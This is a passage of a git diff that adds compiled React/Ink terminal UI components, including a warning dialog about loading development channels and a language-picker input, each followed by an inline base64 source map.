+    const index = options.findIndex(opt => opt.value === validatedFocusedValue)
+    return index >= 0 ? index + 1 : 0
+  }, [validatedFocusedValue, options])
+
+  return {
+    focusedValue: validatedFocusedValue,
+    focusedIndex,
+    visibleFromIndex: state.visibleFromIndex,
+    visibleToIndex: state.visibleToIndex,
+    visibleOptions,
+    isInInput: isInInput ?? false,
+    focusNextOption,
+    focusPreviousOption,
+    focusNextPage,
+    focusPreviousPage,
+    focusOption,
+    options,
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/components/DevChannelsDialog.tsx b/_all-in-one-upload/cc-haha/src/components/DevChannelsDialog.tsx
new file mode 100644
index 0000000..5e68afb
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/DevChannelsDialog.tsx
@@ -0,0 +1,105 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { useCallback } from 'react';
+import type { ChannelEntry } from '../bootstrap/state.js';
+import { Box, Text } from '../ink.js';
+import { gracefulShutdownSync } from '../utils/gracefulShutdown.js';
+import { Select } from './CustomSelect/index.js';
+import { Dialog } from './design-system/Dialog.js';
+type Props = {
+  channels: ChannelEntry[];
+  onAccept(): void;
+};
+export function DevChannelsDialog(t0) {
+  const $ = _c(14);
+  const {
+    channels,
+    onAccept
+  } = t0;
+  let t1;
+  if ($[0] !== onAccept) {
+    t1 = function onChange(value) {
+      bb2: switch (value) {
+        case "accept":
+          {
+            onAccept();
+            break bb2;
+          }
+        case "exit":
+          {
+            gracefulShutdownSync(1);
+          }
+      }
+    };
+    $[0] = onAccept;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const onChange = t1;
+  const handleEscape = _temp;
+  let t2;
+  let t3;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Text>--dangerously-load-development-channels is for local channel development only. Do not use this option to run channels you have downloaded off the internet.</Text>;
+    t3 = <Text>Please use --channels to run a list of approved channels.</Text>;
+    $[2] = t2;
+    $[3] = t3;
+  } else {
+    t2 = $[2];
+    t3 = $[3];
+  }
+  let t4;
+  if ($[4] !== channels) {
+    t4 = channels.map(_temp2).join(", ");
+    $[4] = channels;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  let t5;
+  if ($[6] !== t4) {
+    t5 = <Box flexDirection="column" gap={1}>{t2}{t3}<Text dimColor={true}>Channels:{" "}{t4}</Text></Box>;
+    $[6] = t4;
+    $[7] = t5;
+  } else {
+    t5 = $[7];
+  }
+  let t6;
+  if ($[8] === Symbol.for("react.memo_cache_sentinel")) {
+    t6 = [{
+      label: "I am using this for local development",
+      value: "accept"
+    }, {
+      label: "Exit",
+      value: "exit"
+    }];
+    $[8] = t6;
+  } else {
+    t6 = $[8];
+  }
+  let t7;
+  if ($[9] !== onChange) {
+    t7 = <Select options={t6} onChange={value_0 => onChange(value_0 as 'accept' | 'exit')} />;
+    $[9] = onChange;
+    $[10] = t7;
+  } else {
+    t7 = $[10];
+  }
+  let t8;
+  if ($[11] !== t5 || $[12] !== t7) {
+    t8 = <Dialog title="WARNING: Loading development channels" color="error" onCancel={handleEscape}>{t5}{t7}</Dialog>;
+    $[11] = t5;
+    $[12] = t7;
+    $[13] = t8;
+  } else {
+    t8 = $[13];
+  }
+  return t8;
+}
+function _temp2(c) {
+  return c.kind === "plugin" ? `plugin:${c.name}@${c.marketplace}` : `server:${c.name}`;
+}
+function _temp() {
+  gracefulShutdownSync(0);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZUNhbGxiYWNrIiwiQ2hhbm5lbEVudHJ5IiwiQm94IiwiVGV4dCIsImdyYWNlZnVsU2h1dGRvd25TeW5jIiwiU2VsZWN0IiwiRGlhbG9nIiwiUHJvcHMiLCJjaGFubmVscyIsIm9uQWNjZXB0IiwiRGV2Q2hhbm5lbHNEaWFsb2ciLCJ0MCIsIiQiLCJfYyIsInQxIiwib25DaGFuZ2UiLCJ2YWx1ZSIsImJiMiIsImhhbmRsZUVzY2FwZSIsIl90ZW1wIiwidDIiLCJ0MyIsIlN5bWJvbCIsImZvciIsInQ0IiwibWFwIiwiX3RlbXAyIiwiam9pbiIsInQ1IiwidDYiLCJsYWJlbCIsInQ3IiwidmFsdWVfMCIsInQ4IiwiYyIsImtpbmQiLCJuYW1lIiwibWFya2V0cGxhY2UiXSwic291cmNlcyI6WyJEZXZDaGFubmVsc0RpYWxvZy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHVzZUNhbGxiYWNrIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IENoYW5uZWxFbnRyeSB9IGZyb20gJy4uL2Jvb3RzdHJhcC9zdGF0ZS5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uL2luay5qcydcbmltcG9ydCB7IGdyYWNlZnVsU2h1dGRvd25TeW5jIH0gZnJvbSAnLi4vdXRpbHMvZ3JhY2VmdWxTaHV0ZG93bi5qcydcbmltcG9ydCB7IFNlbGVjdCB9IGZyb20gJy4vQ3VzdG9tU2VsZWN0L2luZGV4LmpzJ1xuaW1wb3J0IHsgRGlhbG9nIH0gZnJvbSAnLi9kZXNpZ24tc3lzdGVtL0RpYWxvZy5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgY2hhbm5lbHM6IENoYW5uZWxFbnRyeVtdXG4gIG9uQWNjZXB0KCk6IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIERldkNoYW5uZWxzRGlhbG9nKHtcbiAgY2hhbm5lbHMsXG4gIG9uQWNjZXB0LFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZTogJ2FjY2VwdCcgfCAnZXhpdCcpIHtcbiAgICBzd2l0Y2ggKHZhbHVlKSB7XG4gICAgICBjYXNlICdhY2NlcHQnOlxuICAgICAgICBvbkFjY2VwdCgpXG4gICAgICAgIGJyZWFrXG4gICAgICBjYXNlICdleGl0JzpcbiAgICAgICAgZ3JhY2VmdWxTaHV0ZG93blN5bmMoMSlcbiAgICAgICAgYnJlYWtcbiAgICB9XG4gIH1cblxuICBjb25zdCBoYW5kbGVFc2NhcGUgPSB1c2VDYWxsYmFjaygoKSA9PiB7XG4gICAgZ3JhY2VmdWxTaHV0ZG93blN5bmMoMClcbiAgfSwgW10pXG5cbiAgcmV0dXJuIChcbiAgICA8RGlhbG9nXG4gICAgICB0aXRsZT1cIldBUk5JTkc6IExvYWRpbmcgZGV2ZWxvcG1lbnQgY2hhbm5lbHNcIlxuICAgICAgY29sb3I9XCJlcnJvclwiXG4gICAgICBvbkNhbmNlbD17aGFuZGxlRXNjYXBlfVxuICAgID5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIGdhcD17MX0+XG4gICAgICAgIDxUZXh0PlxuICAgICAgICAgIC0tZGFuZ2Vyb3VzbHktbG9hZC1kZXZlbG9wbWVudC1jaGFubmVscyBpcyBmb3IgbG9jYWwgY2hhbm5lbFxuICAgICAgICAgIGRldmVsb3BtZW50IG9ubHkuIERvIG5vdCB1c2UgdGhpcyBvcHRpb24gdG8gcnVuIGNoYW5uZWxzIHlvdSBoYXZlXG4gICAgICAgICAgZG93bmxvYWRlZCBvZmYgdGhlIGludGVybmV0LlxuICAgICAgICA8L1RleHQ+XG4gICAgICAgIDxUZXh0PlBsZWFzZSB1c2UgLS1jaGFubmVscyB0byBydW4gYSBsaXN0IG9mIGFwcHJvdmVkIGNoYW5uZWxzLjwvVGV4dD5cbiAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgQ2hhbm5lbHM6eycgJ31cbiAgICAgICAgICB7Y2hhbm5lbHNcbiAgICAgICAgICAgIC5tYXAoYyA9PlxuICAgICAgICAgICAgICBjLmtpbmQgPT09ICdwbHVnaW4nXG4gICAgICAgICAgICAgICAgPyBgcGx1Z2luOiR7Yy5uYW1lfUAke2MubWFya2V0cGxhY2V9YFxuICAgICAgICAgICAgICAgIDogYHNlcnZlcjoke2MubmFtZX1gLFxuICAgICAgICAgICAgKVxuICAgICAgICAgICAgLmpvaW4oJywgJyl9XG4gICAgICAgIDwvVGV4dD5cbiAgICAgIDwvQm94PlxuXG4gICAgICA8U2VsZWN0XG4gICAgICAgIG9wdGlvbnM9e1tcbiAgICAgICAgICB7IGxhYmVsOiAnSSBhbSB1c2luZyB0aGlzIGZvciBsb2NhbCBkZXZlbG9wbWVudCcsIHZhbHVlOiAnYWNjZXB0JyB9LFxuICAgICAgICAgIHsgbGFiZWw6ICdFeGl0JywgdmFsdWU6ICdleGl0JyB9LFxuICAgICAgICBdfVxuICAgICAgICBvbkNoYW5nZT17dmFsdWUgPT4gb25DaGFuZ2UodmFsdWUgYXMgJ2FjY2VwdCcgfCAnZXhpdCcpfVxuICAgICAgLz5cbiAgICA8L0RpYWxvZz5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxJQUFJQyxXQUFXLFFBQVEsT0FBTztBQUMxQyxjQUFjQyxZQUFZLFFBQVEsdUJBQXVCO0FBQ3pELFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLFdBQVc7QUFDckMsU0FBU0Msb0JBQW9CLFFBQVEsOEJBQThCO0FBQ25FLFNBQVNDLE1BQU0sUUFBUSx5QkFBeUI7QUFDaEQsU0FBU0MsTUFBTSxRQUFRLDJCQUEyQjtBQUVsRCxLQUFLQyxLQUFLLEdBQUc7RUFDWEMsUUFBUSxFQUFFUCxZQUFZLEVBQUU7RUFDeEJRLFFBQVEsRUFBRSxFQUFFLElBQUk7QUFDbEIsQ0FBQztBQUVELE9BQU8sU0FBQUMsa0JBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBMkI7SUFBQUwsUUFBQTtJQUFBQztFQUFBLElBQUFFLEVBRzFCO0VBQUEsSUFBQUcsRUFBQTtFQUFBLElBQUFGLENBQUEsUUFBQUgsUUFBQTtJQUNOSyxFQUFBLFlBQUFDLFNBQUFDLEtBQUE7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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/LanguagePicker.tsx b/_all-in-one-upload/cc-haha/src/components/LanguagePicker.tsx
new file mode 100644
index 0000000..96fd2fc
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/LanguagePicker.tsx
@@ -0,0 +1,86 @@
+import { c as _c } from "react/compiler-runtime";
+import figures from 'figures';
+import React, { useState } from 'react';
+import { Box, Text } from '../ink.js';
+import { useKeybinding } from '../keybindings/useKeybinding.js';
+import TextInput from './TextInput.js';
+type Props = {
+  initialLanguage: string | undefined;
+  onComplete: (language: string | undefined) => void;
+  onCancel: () => void;
+};
+export function LanguagePicker(t0) {
+  const $ = _c(13);
+  const {
+    initialLanguage,
+    onComplete,
+    onCancel
+  } = t0;
+  const [language, setLanguage] = useState(initialLanguage);
+  const [cursorOffset, setCursorOffset] = useState((initialLanguage ?? "").length);
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = {
+      context: "Settings"
+    };
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  useKeybinding("confirm:no", onCancel, t1);
+  let t2;
+  if ($[1] !== language || $[2] !== onComplete) {
+    t2 = function handleSubmit() {
+      const trimmed = language?.trim();
+      onComplete(trimmed || undefined);
+    };
+    $[1] = language;
+    $[2] = onComplete;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const handleSubmit = t2;
+  let t3;
+  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = <Text>Enter your preferred response and voice language:</Text>;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  let t4;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = <Text>{figures.pointer}</Text>;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  const t5 = language ?? "";
+  let t6;
+  if ($[6] !== cursorOffset || $[7] !== handleSubmit || $[8] !== t5) {
+    t6 = <Box flexDirection="row" gap={1}>{t4}<TextInput value={t5} onChange={setLanguage} onSubmit={handleSubmit} focus={true} showCursor={true} placeholder={`e.g., Japanese, 日本語, Español${figures.ellipsis}`} columns={60} cursorOffset={cursorOffset} onChangeCursorOffset={setCursorOffset} /></Box>;
+    $[6] = cursorOffset;
+    $[7] = handleSubmit;
+    $[8] = t5;
+    $[9] = t6;
+  } else {
+    t6 = $[9];
+  }
+  let t7;
+  if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
+    t7 = <Text dimColor={true}>Leave empty for default (English)</Text>;
+    $[10] = t7;
+  } else {
+    t7 = $[10];
+  }
+  let t8;
+  if ($[11] !== t6) {
+    t8 = <Box flexDirection="column" gap={1}>{t3}{t6}{t7}</Box>;
+    $[11] = t6;
+    $[12] = t8;
+  } else {
+    t8 = $[12];
+  }
+  return t8;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJ1c2VTdGF0ZSIsIkJveCIsIlRleHQiLCJ1c2VLZXliaW5kaW5nIiwiVGV4dElucHV0IiwiUHJvcHMiLCJpbml0aWFsTGFuZ3VhZ2UiLCJvbkNvbXBsZXRlIiwibGFuZ3VhZ2UiLCJvbkNhbmNlbCIsIkxhbmd1YWdlUGlja2VyIiwidDAiLCIkIiwiX2MiLCJzZXRMYW5ndWFnZSIsImN1cnNvck9mZnNldCIsInNldEN1cnNvck9mZnNldCIsImxlbmd0aCIsInQxIiwiU3ltYm9sIiwiZm9yIiwiY29udGV4dCIsInQyIiwiaGFuZGxlU3VibWl0IiwidHJpbW1lZCIsInRyaW0iLCJ1bmRlZmluZWQiLCJ0MyIsInQ0IiwicG9pbnRlciIsInQ1IiwidDYiLCJlbGxpcHNpcyIsInQ3IiwidDgiXSwic291cmNlcyI6WyJMYW5ndWFnZVBpY2tlci50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IGZpZ3VyZXMgZnJvbSAnZmlndXJlcydcbmltcG9ydCBSZWFjdCwgeyB1c2VTdGF0ZSB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgQm94LCBUZXh0IH0gZnJvbSAnLi4vaW5rLmpzJ1xuaW1wb3J0IHsgdXNlS2V5YmluZGluZyB9IGZyb20gJy4uL2tleWJpbmRpbmdzL3VzZUtleWJpbmRpbmcuanMnXG5pbXBvcnQgVGV4dElucHV0IGZyb20gJy4vVGV4dElucHV0LmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBpbml0aWFsTGFuZ3VhZ2U6IHN0cmluZyB8IHVuZGVmaW5lZFxuICBvbkNvbXBsZXRlOiAobGFuZ3VhZ2U6IHN0cmluZyB8IHVuZGVmaW5lZCkgPT4gdm9pZFxuICBvbkNhbmNlbDogKCkgPT4gdm9pZFxufVxuXG5leHBvcnQgZnVuY3Rpb24gTGFuZ3VhZ2VQaWNrZXIoe1xuICBpbml0aWFsTGFuZ3VhZ2UsXG4gIG9uQ29tcGxldGUsXG4gIG9uQ2FuY2VsLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBbbGFuZ3VhZ2UsIHNldExhbmd1YWdlXSA9IHVzZVN0YXRlKGluaXRpYWxMYW5ndWFnZSlcbiAgY29uc3QgW2N1cnNvck9mZnNldCwgc2V0Q3Vyc29yT2Zmc2V0XSA9IHVzZVN0YXRlKFxuICAgIChpbml0aWFsTGFuZ3VhZ2UgPz8gJycpLmxlbmd0aCxcbiAgKVxuXG4gIC8vIFVzZSBjb25maWd1cmFibGUga2V5YmluZGluZyBmb3IgRVNDIHRvIGNhbmNlbFxuICAvLyBVc2UgU2V0dGluZ3MgY29udGV4dCBzbyAnbicga2V5IGRvZXNuJ3QgdHJpZ2dlciBjYW5jZWwgKGFsbG93cyB0eXBpbmcgJ24nIGluIGlucHV0KVxuICB1c2VLZXliaW5kaW5nKCdjb25maXJtOm5vJywgb25DYW5jZWwsIHsgY29udGV4dDogJ1NldHRpbmdzJyB9KVxuXG4gIGZ1bmN0aW9uIGhhbmRsZVN1Ym1pdCgpOiB2b2lkIHtcbiAgICBjb25zdCB0cmltbWVkID0gbGFuZ3VhZ2U/LnRyaW0oKVxuICAgIG9uQ29tcGxldGUodHJpbW1lZCB8fCB1bmRlZmluZWQpXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIGdhcD17MX0+XG4gICAgICA8VGV4dD5FbnRlciB5b3VyIHByZWZlcnJlZCByZXNwb25zZSBhbmQgdm9pY2UgbGFuZ3VhZ2U6PC9UZXh0PlxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCIgZ2FwPXsxfT5cbiAgICAgICAgPFRleHQ+e2ZpZ3VyZXMucG9pbnRlcn08L1RleHQ+XG4gICAgICAgIDxUZXh0SW5wdXRcbiAgICAgICAgICB2YWx1ZT17bGFuZ3VhZ2UgPz8gJyd9XG4gICAgICAgICAgb25DaGFuZ2U9e3NldExhbmd1YWdlfVxuICAgICAgICAgIG9uU3VibWl0PXtoYW5kbGVTdWJtaXR9XG4gICAgICAgICAgZm9jdXM9e3RydWV9XG4gICAgICAgICAgc2hvd0N1cnNvcj17dHJ1ZX1cbiAgICAgICAgICBwbGFjZWhvbGRlcj17YGUuZy4sIEphcGFuZXNlLCDml6XmnKzoqp4sIEVzcGHDsW9sJHtmaWd1cmVzLmVsbGlwc2lzfWB9XG4gICAgICAgICAgY29sdW1ucz17NjB9XG4gICAgICAgICAgY3Vyc29yT2Zmc2V0PXtjdXJzb3JPZmZzZXR9XG4gICAgICAgICAgb25DaGFuZ2VDdXJzb3JPZmZzZXQ9e3NldEN1cnNvck9mZnNldH1cbiAgICAgICAgLz5cbiAgICAgIDwvQm94PlxuICAgICAgPFRleHQgZGltQ29sb3I+TGVhdmUgZW1wdHkgZm9yIGRlZmF1bHQgKEVuZ2xpc2gpPC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxPQUFPLE1BQU0sU0FBUztBQUM3QixPQUFPQyxLQUFLLElBQUlDLFFBQVEsUUFBUSxPQUFPO0FBQ3ZDLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLFdBQVc7QUFDckMsU0FBU0MsYUFBYSxRQUFRLGlDQUFpQztBQUMvRCxPQUFPQyxTQUFTLE1BQU0sZ0JBQWdCO0FBRXRDLEtBQUtDLEtBQUssR0FBRztFQUNYQyxlQUFlLEVBQUUsTUFBTSxHQUFHLFNBQVM7RUFDbkNDLFVBQVUsRUFBRSxDQUFDQyxRQUFRLEVBQUUsTUFBTSxHQUFHLFNBQVMsRUFBRSxHQUFHLElBQUk7RUFDbERDLFFBQVEsRUFBRSxHQUFHLEdBQUcsSUFBSTtBQUN0QixDQUFDO0FBRUQsT0FBTyxTQUFBQyxlQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQXdCO0lBQUFQLGVBQUE7SUFBQUMsVUFBQTtJQUFBRTtFQUFBLElBQUFFLEVBSXZCO0VBQ04sT0FBQUgsUUFBQSxFQUFBTSxXQUFBLElBQWdDZCxRQUFRLENBQUNNLGVBQWUsQ0FBQztFQUN6RCxPQUFBUyxZQUFBLEVBQUFDLGVBQUEsSUFBd0NoQixRQUFRLENBQzlDLENBQUNNLGVBQXFCLElBQXJCLEVBQXFCLEVBQUFXLE1BQ3hCLENBQUM7RUFBQSxJQUFBQyxFQUFBO0VBQUEsSUFBQU4sQ0FBQSxRQUFBTyxNQUFBLENBQUFDLEdB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